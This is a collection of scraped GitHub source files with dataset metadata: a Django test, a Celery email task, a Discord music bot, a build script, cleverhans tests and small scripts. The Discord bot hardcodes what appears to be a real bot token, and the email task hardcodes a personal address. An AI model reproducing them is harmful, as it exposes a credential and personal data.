([0-9a-f]{8}-[0-9a-f]{4}-[0-5][0-9a-f]{3}-[089ab][0-9a-f]{3}-[0-9a-f]{12})\\.\",\n response.content.decode(\"utf-8\"),\n )\n assert match\n uuid = match[1]\n # Test list view\n simulation_list = reverse(\"simulation_list\")\n response = admin_client.get(simulation_list)\n assert response.status_code == 200\n assert f\"\" in response.content.decode(\"utf-8\")\n # Print the UUID to stdout to enable the teardown method to check the image\n print(uuid)\n\n\ndef _teardown_test_simulation(uuid, settings):\n \"\"\"\n Additional checks which run after the celery worker is done\n \"\"\"\n print(f\"UUID of the generated simulation: {uuid}\")\n simulation = LeewaySimulation.objects.get(uuid=uuid)\n # Assert that the simulation was successful and an images has been generated\n assert simulation.img\n # Test that one message has been sent.\n # pylint: disable=no-member\n assert len(mail.outbox) == 1\n # Verify the email\n result_email = mail.outbox[0]\n assert result_email.from_email == settings.DEFAULT_FROM_EMAIL\n assert result_email.to == [\"admin@example.com\"]\n assert result_email.bcc == []\n assert result_email.cc == []\n assert result_email.reply_to == []\n assert result_email.subject == \"Leeway Drift Simulation Result\"\n assert (\n f\"Your request with ID {uuid} has been processed. Find the image attached.\"\n in result_email.body\n )\n assert len(result_email.attachments) == 1\n # pylint: disable=unused-variable\n filename, content, mimetype = result_email.attachments[0]\n assert filename == simulation.img.name\n", "repo_name": "digitalfabrik/opendrift-leeway-webgui", "sub_path": "tests/leeway/test_simulation.py", "file_name": "test_simulation.py", "file_ext": "py", "file_size_in_byte": 2981, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 8, "dataset": "github-code", "pt": "7", "api": [{"api_name": "django.urls.reverse", "line_number": 20, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 27, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 27, "usage_type": "name"}, {"api_name": "re.search", "line_number": 42, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 49, "usage_type": "call"}, {"api_name": "pytest.mark.django_db", "line_number": 12, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 12, "usage_type": "attribute"}, {"api_name": "opendrift_leeway_webgui.leeway.models.LeewaySimulation.objects.get", "line_number": 62, "usage_type": "call"}, {"api_name": "opendrift_leeway_webgui.leeway.models.LeewaySimulation.objects", "line_number": 62, "usage_type": "attribute"}, {"api_name": "opendrift_leeway_webgui.leeway.models.LeewaySimulation", "line_number": 62, "usage_type": "name"}, {"api_name": "django.core.mail.outbox", "line_number": 67, "usage_type": "attribute"}, {"api_name": "django.core.mail", "line_number": 67, "usage_type": "name"}, {"api_name": "django.core.mail.outbox", "line_number": 69, "usage_type": "attribute"}, {"api_name": "django.core.mail", "line_number": 69, "usage_type": "name"}]} {"seq_id": "10627616256", "text": "from celery import shared_task\nfrom django.core.mail import send_mail\n\n\n# from python_notes import settings.dev\n\n@shared_task()\ndef send_email(token, to, name):\n print(token)\n send_mail(from_email='maheshnaidu9666@gmail.com', recipient_list=[to],\n message=\"Hy {}\\nWelcome to python_notes,Thanks for installing our service\\nYour Activation url = \"\n \"http://127.0.0.1:8000/user/validate/{}\".format(name, token),\n subject=\"Link for Your Registration\", fail_silently=False,)\n", "repo_name": "maheshpapolu/Django_User_App", "sub_path": "user/tasks.py", "file_name": "tasks.py", "file_ext": "py", "file_size_in_byte": 524, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "django.core.mail.send_mail", "line_number": 10, "usage_type": "call"}, {"api_name": "celery.shared_task", "line_number": 7, "usage_type": "call"}]} {"seq_id": "651869530", "text": "import asyncio\nimport random\n\nimport discord\nimport youtube_dl\n\nfrom discord.utils import get\nfrom discord.ext import commands\n\ntoken = \"NTgyNjQ4MTEzNDkyMTMxODQx.XOw3qA.5J5AxaU8QKjY7QScitSdlddGs4c\"\n\n# Suppress noise about console usage from errors\nyoutube_dl.utils.bug_reports_message = lambda: ''\n\n\nytdl_format_options = {\n 'format': 'bestaudio/best',\n 'outtmpl': '%(extractor)s-%(id)s-%(title)s.%(ext)s',\n 'restrictfilenames': True,\n 'noplaylist': True,\n 'nocheckcertificate': True,\n 'ignoreerrors': False,\n 'logtostderr': False,\n 'quiet': True,\n 'no_warnings': True,\n 'default_search': 'auto',\n 'source_address': '0.0.0.0' # bind to ipv4 since ipv6 addresses cause issues sometimes\n}\n\nffmpeg_options = {\n 'options': '-vn'\n}\n\nytdl = youtube_dl.YoutubeDL(ytdl_format_options)\n\n\nclass YTDLSource(discord.PCMVolumeTransformer):\n def __init__(self, source, *, data, volume=0.5):\n super().__init__(source, volume)\n\n self.data = data\n\n self.title = data.get('title')\n self.url = data.get('url')\n\n @classmethod\n async def from_url(cls, url, *, loop=None, stream=False):\n loop = loop or asyncio.get_event_loop()\n data = await loop.run_in_executor(None, lambda: ytdl.extract_info(url, download=not stream))\n\n if 'entries' in data:\n # take first item from a playlist\n data = data['entries'][0]\n\n filename = data['url'] if stream else ytdl.prepare_filename(data)\n return cls(discord.FFmpegPCMAudio(filename, **ffmpeg_options), data=data)\n\n\nclass Music(commands.Cog):\n def __init__(self, bot):\n self.bot = bot\n\n @commands.command()\n async def join(self, ctx):\n \"\"\"Joins a voice channel\"\"\"\n\n channel = ctx.message.author.voice.channel\n if ctx.voice_client is not None:\n return await ctx.voice_client.move_to(channel)\n\n await channel.connect()\n\n @commands.command()\n async def simon(self, ctx):\n \"\"\"Plays a file from the local filesystem\"\"\"\n voice = get(bot.voice_clients, guild=ctx.guild)\n voice.play(discord.FFmpegPCMAudio('Simon_saying_CAN_U_JUST_STFU.mp3'))\n\n @commands.command()\n async def yt(self, ctx, *, url):\n \"\"\"Plays from a url (almost anything youtube_dl supports)\"\"\"\n\n async with ctx.typing():\n player = await YTDLSource.from_url(url, loop=self.bot.loop)\n ctx.voice_client.play(player, after=lambda e: print('Player error: %s' % e) if e else None)\n\n await ctx.send('Now playing: {}'.format(player.title))\n\n @commands.command()\n async def stop(self, ctx):\n \"\"\"Stops and disconnects the bot from voice\"\"\"\n\n await ctx.voice_client.disconnect()\n\n @simon.before_invoke\n @yt.before_invoke\n async def ensure_voice(self, ctx):\n if ctx.voice_client is None:\n if ctx.author.voice:\n await ctx.author.voice.channel.connect()\n else:\n await ctx.send(\"You are not connected to a voice channel.\")\n raise commands.CommandError(\"Author not connected to a voice channel.\")\n elif ctx.voice_client.is_playing():\n ctx.voice_client.stop()\n\nbot = commands.Bot(command_prefix=commands.when_mentioned_or(\"|\"),\n description='Relatively simple music bot example')\n\n@bot.event\nasync def on_ready():\n print('Logged in as {0} ({0.id})'.format(bot.user))\n print('------')\n\n@bot.command()\nasync def add(ctx, left: int, right: int):\n \"\"\"Adds two numbers together.\"\"\"\n await ctx.send(left + right)\n\n@bot.command()\nasync def roll(ctx, dice: int):\n await ctx.send(random.randint(1,dice))\n\n@bot.command()\nasync def choose(ctx, *choices: str):\n \"\"\"Chooses between multiple choices.\"\"\"\n await ctx.send(random.choice(choices))\n\n@bot.command()\nasync def helpme(ctx):\n join = \"|join : Joins whatever the channel the user is currently in\"\n simon = \"|simon : Spicy simon noise\"\n choose = \"|choose (any list of items seperated by a space) : randomly selects one of the items\"\n roll = \"|roll (number) : randomly select a number between 1 and number\"\n stop = \"|stop : The bot leaves\"\n add = \"|add (number1 number2) : outputs number1 + number2\"\n yt = \"|yt (youtube url) : Plays the audio from url\"\n\n command_list = [join, simon, choose, roll, stop, add, yt]\n\n for commands in command_list:\n await ctx.send(commands)\n\nbot.add_cog(Music(bot))\nbot.run(token)\n\n", "repo_name": "Naveed-Naqi/Discord-SoundBoard", "sub_path": "SoundBoard.py", "file_name": "SoundBoard.py", "file_ext": "py", "file_size_in_byte": 4464, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "youtube_dl.utils", "line_number": 13, "usage_type": "attribute"}, {"api_name": "youtube_dl.YoutubeDL", "line_number": 34, "usage_type": "call"}, {"api_name": "discord.PCMVolumeTransformer", "line_number": 37, "usage_type": "attribute"}, {"api_name": "asyncio.get_event_loop", "line_number": 48, "usage_type": "call"}, {"api_name": "discord.FFmpegPCMAudio", "line_number": 56, "usage_type": "call"}, {"api_name": "discord.ext.commands.Cog", "line_number": 59, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 59, "usage_type": "name"}, {"api_name": "discord.ext.commands.command", "line_number": 63, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 63, "usage_type": "name"}, {"api_name": "discord.utils.get", "line_number": 76, "usage_type": "call"}, {"api_name": "discord.FFmpegPCMAudio", "line_number": 77, "usage_type": "call"}, {"api_name": "discord.ext.commands.command", "line_number": 73, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 73, "usage_type": "name"}, {"api_name": "discord.ext.commands.command", "line_number": 79, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 79, "usage_type": "name"}, {"api_name": "discord.ext.commands.command", "line_number": 89, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 89, "usage_type": "name"}, {"api_name": "discord.ext.commands.CommandError", "line_number": 103, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 103, "usage_type": "name"}, {"api_name": "discord.ext.commands.Bot", "line_number": 107, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 107, "usage_type": "name"}, {"api_name": "discord.ext.commands.when_mentioned_or", "line_number": 107, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 122, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 127, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 141, "usage_type": "name"}, {"api_name": "discord.ext.commands", "line_number": 142, "usage_type": "argument"}]} {"seq_id": "17317409390", "text": "from pathlib import Path\nimport os\n\ndef traverse(path):\n path_list = []\n\n for dir in Path(path).iterdir():\n if dir.is_dir():\n path_list.extend(traverse(dir))\n else:\n path_list.append(str(dir))\n\n return path_list\n\ndef concat(ls):\n str = \"\"\n for el in ls:\n str += el + \" \"\n print(el)\n \n return str\n\n\nimport toml\n\nt = toml.load(\"make.config.toml\")\n\ncc = t[\"Build\"][\"cc\"]\nsrc = t[\"Build\"][\"src\"]\nmainfile = t[\"Build\"][\"mainfile\"]\noutfile = t[\"Build\"][\"outfile\"]\nflags = t[\"Build\"][\"flags\"]\nmodules = t[\"Build\"][\"modules\"]\n\nexec = cc + \" -O3 \" + concat(traverse(src)) + \" \" + mainfile + \" -o \" + outfile + \" \" + ' '.join(flags) + \" \" + ' '.join(modules)\nprint(exec)\nos.system(exec)\n\nif Path(outfile).exists():\n os.system(outfile)", "repo_name": "Tirangod/sfml-space-battles-game", "sub_path": "make.py", "file_name": "make.py", "file_ext": "py", "file_size_in_byte": 798, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pathlib.Path", "line_number": 7, "usage_type": "call"}, {"api_name": "toml.load", "line_number": 26, "usage_type": "call"}, {"api_name": "os.system", "line_number": 37, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 39, "usage_type": "call"}, {"api_name": "os.system", "line_number": 40, "usage_type": "call"}]} {"seq_id": "9353010997", "text": "from collections import defaultdict\ndef solution(name, yearning, photo):\n score = defaultdict(int)\n for i in range(len(name)):\n score[name[i]] = yearning[i]\n \n answer = []\n for people in photo:\n total = 0\n for person in people:\n total += score[person]\n answer.append(total)\n \n return answer", "repo_name": "juwonk1018/Algorithm", "sub_path": "프로그래머스/unrated/176963. 추억 점수/추억 점수.py", "file_name": "추억 점수.py", "file_ext": "py", "file_size_in_byte": 350, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "collections.defaultdict", "line_number": 3, "usage_type": "call"}]} {"seq_id": "72232645024", "text": "\"\"\"Tests for eval_lib.image_batches.\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport itertools\nimport unittest\n\nfrom six import assertCountEqual\n\nfrom eval_lib import image_batches\nfrom eval_lib import submissions\nfrom eval_lib.tests import fake_cloud_client\n\n\nROUND_NAME = \"round-name\"\n\n\nclass ImageBatchesBaseTest(unittest.TestCase):\n def setUp(self):\n self.datastore_client = fake_cloud_client.FakeDatastoreClient()\n self.image_batches = image_batches.ImageBatchesBase(\n datastore_client=self.datastore_client,\n entity_kind_batches=\"Batch\",\n entity_kind_images=\"Image\",\n )\n\n def test_add_batch(self):\n self.assertEqual(0, len(self.image_batches.data))\n self.image_batches.add_batch(\n \"batch1\", batch_properties={\"k1\": \"v1\", \"k2\": \"v2\"}\n )\n self.assertEqual(1, len(self.image_batches.data))\n self.assertDictEqual(\n {\"k1\": \"v1\", \"k2\": \"v2\", \"images\": {}}, self.image_batches[\"batch1\"]\n )\n self.image_batches.add_batch(\"batch2\", batch_properties={\"k3\": \"v3\"})\n self.assertEqual(2, len(self.image_batches.data))\n self.assertDictEqual({\"k3\": \"v3\", \"images\": {}}, self.image_batches[\"batch2\"])\n\n def test_add_image(self):\n self.assertEqual(0, len(self.image_batches.data))\n self.image_batches.add_batch(\n \"batch1\", batch_properties={\"k1\": \"v1\", \"k2\": \"v2\"}\n )\n self.image_batches.add_image(\"batch1\", \"img1\", image_properties={\"k4\": \"v4\"})\n self.assertEqual(1, len(self.image_batches.data))\n self.assertDictEqual(\n {\"k1\": \"v1\", \"k2\": \"v2\", \"images\": {\"img1\": {\"k4\": \"v4\"}}},\n self.image_batches[\"batch1\"],\n )\n self.image_batches.add_image(\"batch1\", \"img2\", image_properties={\"k5\": \"v5\"})\n self.assertEqual(1, len(self.image_batches.data))\n self.assertDictEqual(\n {\n \"k1\": \"v1\",\n \"k2\": \"v2\",\n \"images\": {\"img1\": {\"k4\": \"v4\"}, \"img2\": {\"k5\": \"v5\"}},\n },\n self.image_batches[\"batch1\"],\n )\n\n def test_write_to_datastore(self):\n # add 2 batches and 3 images, write everything to datastore\n self.image_batches.add_batch(\n \"batch1\", batch_properties={\"k1\": \"v1\", \"k2\": \"v2\"}\n )\n self.image_batches.add_batch(\"batch2\", batch_properties={\"k3\": \"v3\"})\n self.image_batches.add_image(\"batch1\", \"img1\", image_properties={\"k4\": \"v4\"})\n self.image_batches.add_image(\"batch1\", \"img2\", image_properties={\"k5\": \"v5\"})\n self.image_batches.add_image(\"batch2\", \"img3\", image_properties={\"k6\": \"v6\"})\n self.image_batches.write_to_datastore()\n # verify batches\n batch_entity1 = self.datastore_client.entity(\n fake_cloud_client.FakeDatastoreKey(\"Batch\", \"batch1\")\n )\n batch_entity1.update({\"k1\": \"v1\", \"k2\": \"v2\"})\n batch_entity2 = self.datastore_client.entity(\n fake_cloud_client.FakeDatastoreKey(\"Batch\", \"batch2\")\n )\n batch_entity2.update({\"k3\": \"v3\"})\n assertCountEqual(\n self,\n [batch_entity1, batch_entity2],\n self.datastore_client.query_fetch(kind=\"Batch\"),\n )\n # verify images\n img_entity1 = self.datastore_client.entity(\n fake_cloud_client.FakeDatastoreKey(\"Batch\", \"batch2\", \"Image\", \"img1\")\n )\n img_entity1.update({\"k4\": \"v4\"})\n img_entity2 = self.datastore_client.entity(\n fake_cloud_client.FakeDatastoreKey(\"Batch\", \"batch2\", \"Image\", \"img2\")\n )\n img_entity2.update({\"k5\": \"v5\"})\n img_entity3 = self.datastore_client.entity(\n fake_cloud_client.FakeDatastoreKey(\"Batch\", \"batch2\", \"Image\", \"img3\")\n )\n img_entity3.update({\"k6\": \"v6\"})\n\n def test_write_single_batch_images_to_datastore(self):\n # add 2 batches and 3 images, write only one batch to datastore\n self.image_batches.add_batch(\n \"batch1\", batch_properties={\"k1\": \"v1\", \"k2\": \"v2\"}\n )\n self.image_batches.add_batch(\"batch2\", batch_properties={\"k3\": \"v3\"})\n self.image_batches.add_image(\"batch1\", \"img1\", image_properties={\"k4\": \"v4\"})\n self.image_batches.add_image(\"batch1\", \"img2\", image_properties={\"k5\": \"v5\"})\n self.image_batches.add_image(\"batch2\", \"img3\", image_properties={\"k6\": \"v6\"})\n self.image_batches.write_single_batch_images_to_datastore(\"batch2\")\n # verify batches\n # write_single_batch_images_to_datastore writes only images, so no batches\n assertCountEqual(self, [], self.datastore_client.query_fetch(kind=\"Batch\"))\n # verify images\n img_entity3 = self.datastore_client.entity(\n fake_cloud_client.FakeDatastoreKey(\"Batch\", \"batch2\", \"Image\", \"img3\")\n )\n img_entity3.update({\"k6\": \"v6\"})\n assertCountEqual(\n self, [img_entity3], self.datastore_client.query_fetch(kind=\"Image\")\n )\n\n\nclass DatasetBatchesTest(unittest.TestCase):\n def setUp(self):\n storage_blobs = [\n \"dataset/dev/img1.png\",\n \"dataset/dev/img2.png\",\n \"dataset/dev/img3.png\",\n \"dataset/dev/img4.png\",\n \"dataset/dev/img5.png\",\n \"dataset/dev_dataset.csv\",\n ]\n self.storage_client = fake_cloud_client.FakeStorageClient(storage_blobs)\n self.datastore_client = fake_cloud_client.FakeDatastoreClient()\n self.dataset_batches = image_batches.DatasetBatches(\n datastore_client=self.datastore_client,\n storage_client=self.storage_client,\n dataset_name=\"dev\",\n )\n\n def verify_dataset_batches(self):\n self.assertEqual(2, len(self.dataset_batches.data))\n all_images = {}\n for batch in self.dataset_batches.data.values():\n self.assertIn(batch[\"epsilon\"], [4, 8, 12, 16])\n self.assertGreaterEqual(3, len(batch[\"images\"]))\n self.assertTrue(\n set(all_images.keys()).isdisjoint(batch[\"images\"].keys()),\n msg=(\n \"all_images and batch['images'] contains common keys %s\"\n % set(all_images.keys()).intersection(batch[\"images\"].keys())\n ),\n )\n all_images.update(batch[\"images\"])\n assertCountEqual(\n self,\n [\n {\"dataset_image_id\": \"img1\", \"image_path\": \"dataset/dev/img1.png\"},\n {\"dataset_image_id\": \"img2\", \"image_path\": \"dataset/dev/img2.png\"},\n {\"dataset_image_id\": \"img3\", \"image_path\": \"dataset/dev/img3.png\"},\n {\"dataset_image_id\": \"img4\", \"image_path\": \"dataset/dev/img4.png\"},\n {\"dataset_image_id\": \"img5\", \"image_path\": \"dataset/dev/img5.png\"},\n ],\n all_images.values(),\n )\n\n def verify_datastore_entities(self):\n # Verify 'DatasetBatch' entities\n expected_batch_entities = []\n for batch_id, batch in self.dataset_batches.data.items():\n entity = self.datastore_client.entity(\n fake_cloud_client.FakeDatastoreKey(\"DatasetBatch\", batch_id)\n )\n entity[\"epsilon\"] = batch[\"epsilon\"]\n expected_batch_entities.append(entity)\n assertCountEqual(\n self,\n expected_batch_entities,\n self.datastore_client.query_fetch(kind=\"DatasetBatch\"),\n )\n # Verify 'DatasetImage' entities\n expected_image_entities = []\n for batch_id, batch in self.dataset_batches.data.items():\n for image_id, image in batch[\"images\"].items():\n entity = self.datastore_client.entity(\n fake_cloud_client.FakeDatastoreKey(\n \"DatasetBatch\", batch_id, \"DatasetImage\", image_id\n )\n )\n entity.update(image)\n expected_image_entities.append(entity)\n assertCountEqual(\n self,\n expected_image_entities,\n self.datastore_client.query_fetch(kind=\"DatasetImage\"),\n )\n\n def test_init_from_storage(self):\n self.dataset_batches.init_from_storage_write_to_datastore(batch_size=3)\n self.verify_dataset_batches()\n self.verify_datastore_entities()\n\n def test_init_from_datastore(self):\n self.dataset_batches.init_from_storage_write_to_datastore(batch_size=3)\n self.dataset_batches = image_batches.DatasetBatches(\n datastore_client=self.datastore_client,\n storage_client=self.storage_client,\n dataset_name=\"dev\",\n )\n self.dataset_batches.init_from_datastore()\n self.verify_dataset_batches()\n\n def test_count_num_images(self):\n self.dataset_batches.init_from_storage_write_to_datastore(batch_size=3)\n self.assertEqual(5, self.dataset_batches.count_num_images())\n\n\nclass AdversarialBatchesTest(unittest.TestCase):\n def setUp(self):\n # prepare dataset batches and submissions\n storage_blobs = [\n \"dataset/dev/img1.png\",\n \"dataset/dev/img2.png\",\n \"dataset/dev/img3.png\",\n \"dataset/dev/img4.png\",\n \"dataset/dev/img5.png\",\n \"dataset/dev_dataset.csv\",\n ROUND_NAME + \"/submissions/nontargeted/1.zip\",\n ROUND_NAME + \"/submissions/nontargeted/baseline_nt.zip\",\n ROUND_NAME + \"/submissions/targeted/1.zip\",\n ROUND_NAME + \"/submissions/targeted/2.zip\",\n ROUND_NAME + \"/submissions/defense/3.zip\",\n ROUND_NAME + \"/submissions/defense/baseline_adv_train.zip\",\n ]\n self.storage_client = fake_cloud_client.FakeStorageClient(storage_blobs)\n self.datastore_client = fake_cloud_client.FakeDatastoreClient()\n self.dataset_batches = image_batches.DatasetBatches(\n datastore_client=self.datastore_client,\n storage_client=self.storage_client,\n dataset_name=\"dev\",\n )\n self.dataset_batches.init_from_storage_write_to_datastore(batch_size=3)\n self.submissions = submissions.CompetitionSubmissions(\n datastore_client=self.datastore_client,\n storage_client=self.storage_client,\n round_name=ROUND_NAME,\n )\n self.submissions.init_from_storage_write_to_datastore()\n\n def verify_adversarial_batches_without_images(self, adv_batches):\n attack_ids = list(self.submissions.attacks.keys()) + list(\n self.submissions.targeted_attacks.keys()\n )\n dataset_batch_ids = self.dataset_batches.data.keys()\n expected_batches = [\n {\"dataset_batch_id\": b_id, \"submission_id\": a_id, \"images\": {}}\n for (b_id, a_id) in itertools.product(dataset_batch_ids, attack_ids)\n ]\n assertCountEqual(self, expected_batches, adv_batches.data.values())\n\n def test_init_from_dataset_and_submissions(self):\n adv_batches = image_batches.AversarialBatches(\n datastore_client=self.datastore_client\n )\n adv_batches.init_from_dataset_and_submissions_write_to_datastore(\n dataset_batches=self.dataset_batches,\n attack_submission_ids=self.submissions.get_all_attack_ids(),\n )\n self.verify_adversarial_batches_without_images(adv_batches)\n\n def test_init_from_datastore(self):\n # populate datastore\n adv_batches = image_batches.AversarialBatches(\n datastore_client=self.datastore_client\n )\n adv_batches.init_from_dataset_and_submissions_write_to_datastore(\n dataset_batches=self.dataset_batches,\n attack_submission_ids=self.submissions.get_all_attack_ids(),\n )\n # init AversarialBatches from datastore\n adv_batches = image_batches.AversarialBatches(\n datastore_client=self.datastore_client\n )\n adv_batches.init_from_datastore()\n self.verify_adversarial_batches_without_images(adv_batches)\n\n def test_count_generated_adv_examples(self):\n adv_batches = image_batches.AversarialBatches(\n datastore_client=self.datastore_client\n )\n adv_batches.init_from_dataset_and_submissions_write_to_datastore(\n dataset_batches=self.dataset_batches,\n attack_submission_ids=self.submissions.get_all_attack_ids(),\n )\n self.assertDictEqual(\n {\"SUBA000\": 0, \"SUBA001\": 0, \"SUBT000\": 0, \"SUBT001\": 0},\n adv_batches.count_generated_adv_examples(),\n )\n\n\nif __name__ == \"__main__\":\n unittest.main()\n", "repo_name": "cleverhans-lab/cleverhans", "sub_path": "cleverhans_v3.1.0/examples/nips17_adversarial_competition/eval_infra/code/eval_lib/tests/image_batches_test.py", "file_name": "image_batches_test.py", "file_ext": "py", "file_size_in_byte": 12728, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5963, "dataset": "github-code", "pt": "7", "api": [{"api_name": "unittest.TestCase", "line_number": 20, "usage_type": "attribute"}, {"api_name": "eval_lib.tests.fake_cloud_client.FakeDatastoreClient", "line_number": 22, "usage_type": "call"}, {"api_name": "eval_lib.tests.fake_cloud_client", "line_number": 22, "usage_type": "name"}, {"api_name": "eval_lib.image_batches.ImageBatchesBase", "line_number": 23, "usage_type": "call"}, {"api_name": "eval_lib.image_batches", "line_number": 23, "usage_type": "name"}, {"api_name": "eval_lib.tests.fake_cloud_client.FakeDatastoreKey", "line_number": 76, "usage_type": "call"}, {"api_name": "eval_lib.tests.fake_cloud_client", "line_number": 76, "usage_type": "name"}, {"api_name": "eval_lib.tests.fake_cloud_client.FakeDatastoreKey", "line_number": 80, "usage_type": "call"}, {"api_name": "eval_lib.tests.fake_cloud_client", "line_number": 80, "usage_type": "name"}, {"api_name": "six.assertCountEqual", "line_number": 83, "usage_type": "call"}, {"api_name": "eval_lib.tests.fake_cloud_client.FakeDatastoreKey", "line_number": 90, "usage_type": "call"}, {"api_name": "eval_lib.tests.fake_cloud_client", "line_number": 90, "usage_type": "name"}, {"api_name": "eval_lib.tests.fake_cloud_client.FakeDatastoreKey", "line_number": 94, "usage_type": "call"}, {"api_name": "eval_lib.tests.fake_cloud_client", "line_number": 94, "usage_type": "name"}, {"api_name": "eval_lib.tests.fake_cloud_client.FakeDatastoreKey", "line_number": 98, "usage_type": "call"}, {"api_name": "eval_lib.tests.fake_cloud_client", "line_number": 98, "usage_type": "name"}, {"api_name": "six.assertCountEqual", "line_number": 114, "usage_type": "call"}, {"api_name": "eval_lib.tests.fake_cloud_client.FakeDatastoreKey", "line_number": 117, "usage_type": "call"}, {"api_name": "eval_lib.tests.fake_cloud_client", "line_number": 117, "usage_type": "name"}, {"api_name": "six.assertCountEqual", "line_number": 120, "usage_type": "call"}, {"api_name": "unittest.TestCase", "line_number": 125, "usage_type": "attribute"}, {"api_name": "eval_lib.tests.fake_cloud_client.FakeStorageClient", "line_number": 135, "usage_type": "call"}, {"api_name": "eval_lib.tests.fake_cloud_client", "line_number": 135, "usage_type": "name"}, {"api_name": "eval_lib.tests.fake_cloud_client.FakeDatastoreClient", "line_number": 136, "usage_type": "call"}, {"api_name": "eval_lib.tests.fake_cloud_client", "line_number": 136, "usage_type": "name"}, {"api_name": "eval_lib.image_batches.DatasetBatches", "line_number": 137, "usage_type": "call"}, {"api_name": "eval_lib.image_batches", "line_number": 137, "usage_type": "name"}, {"api_name": "six.assertCountEqual", "line_number": 157, "usage_type": "call"}, {"api_name": "eval_lib.tests.fake_cloud_client.FakeDatastoreKey", "line_number": 174, "usage_type": "call"}, {"api_name": "eval_lib.tests.fake_cloud_client", "line_number": 174, "usage_type": "name"}, {"api_name": "six.assertCountEqual", "line_number": 178, "usage_type": "call"}, {"api_name": "eval_lib.tests.fake_cloud_client.FakeDatastoreKey", "line_number": 188, "usage_type": "call"}, {"api_name": "eval_lib.tests.fake_cloud_client", "line_number": 188, "usage_type": "name"}, {"api_name": "six.assertCountEqual", "line_number": 194, "usage_type": "call"}, {"api_name": "eval_lib.image_batches.DatasetBatches", "line_number": 207, "usage_type": "call"}, {"api_name": "eval_lib.image_batches", "line_number": 207, "usage_type": "name"}, {"api_name": "unittest.TestCase", "line_number": 220, "usage_type": "attribute"}, {"api_name": "eval_lib.tests.fake_cloud_client.FakeStorageClient", "line_number": 237, "usage_type": "call"}, {"api_name": "eval_lib.tests.fake_cloud_client", "line_number": 237, "usage_type": "name"}, {"api_name": "eval_lib.tests.fake_cloud_client.FakeDatastoreClient", "line_number": 238, "usage_type": "call"}, {"api_name": "eval_lib.tests.fake_cloud_client", "line_number": 238, "usage_type": "name"}, {"api_name": "eval_lib.image_batches.DatasetBatches", "line_number": 239, "usage_type": "call"}, {"api_name": "eval_lib.image_batches", "line_number": 239, "usage_type": "name"}, {"api_name": "eval_lib.submissions.CompetitionSubmissions", "line_number": 245, "usage_type": "call"}, {"api_name": "eval_lib.submissions", "line_number": 245, "usage_type": "name"}, {"api_name": "itertools.product", "line_number": 259, "usage_type": "call"}, {"api_name": "six.assertCountEqual", "line_number": 261, "usage_type": "call"}, {"api_name": "eval_lib.image_batches.AversarialBatches", "line_number": 264, "usage_type": "call"}, {"api_name": "eval_lib.image_batches", "line_number": 264, "usage_type": "name"}, {"api_name": "eval_lib.image_batches.AversarialBatches", "line_number": 275, "usage_type": "call"}, {"api_name": "eval_lib.image_batches", "line_number": 275, "usage_type": "name"}, {"api_name": "eval_lib.image_batches.AversarialBatches", "line_number": 283, "usage_type": "call"}, {"api_name": "eval_lib.image_batches", "line_number": 283, "usage_type": "name"}, {"api_name": "eval_lib.image_batches.AversarialBatches", "line_number": 290, "usage_type": "call"}, {"api_name": "eval_lib.image_batches", "line_number": 290, "usage_type": "name"}, {"api_name": "unittest.main", "line_number": 304, "usage_type": "call"}]} {"seq_id": "36643044574", "text": "'''\nFileName: 0203.py\nAuther: Wang Zixiang\nDate: 04.20.2019\n\nFunction: draw a func\n'''\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\ndef draw():\n x = np.linspace(-5, 5, 1000)\n y = [np.arcsin(i)/np.tan(x) for i in x]\n plt.plot(x, y)\n plt.show()\n\n\ndef main():\n draw()\n\n\nif __name__ == \"__main__\":\n main()", "repo_name": "DolorHunter/hfut-exp-archived", "sub_path": "BigData_exp/exp2/0203/0203.py", "file_name": "0203.py", "file_ext": "py", "file_size_in_byte": 342, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 17, "dataset": "github-code", "pt": "7", "api": [{"api_name": "numpy.linspace", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.arcsin", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.tan", "line_number": 15, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 16, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 16, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 17, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 17, "usage_type": "name"}]} {"seq_id": "27769934379", "text": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\nimport collections\nimport os\nfrom googlecloudsdk.api_lib.spanner import databases\nfrom googlecloudsdk.core import exceptions\nfrom googlecloudsdk.core import execution_utils\nfrom googlecloudsdk.core import log\nfrom googlecloudsdk.core.util import files\n\n# TODO(b/230344467): Better default samples dir\n_SAMPLES_DEFAULT_DIR_NAME = '.gcloud-spanner-samples'\n_SAMPLES_DEFAULT_DIR_PATH = os.path.join(\n os.path.expanduser('~'), _SAMPLES_DEFAULT_DIR_NAME)\nSAMPLES_DIR_PATH = 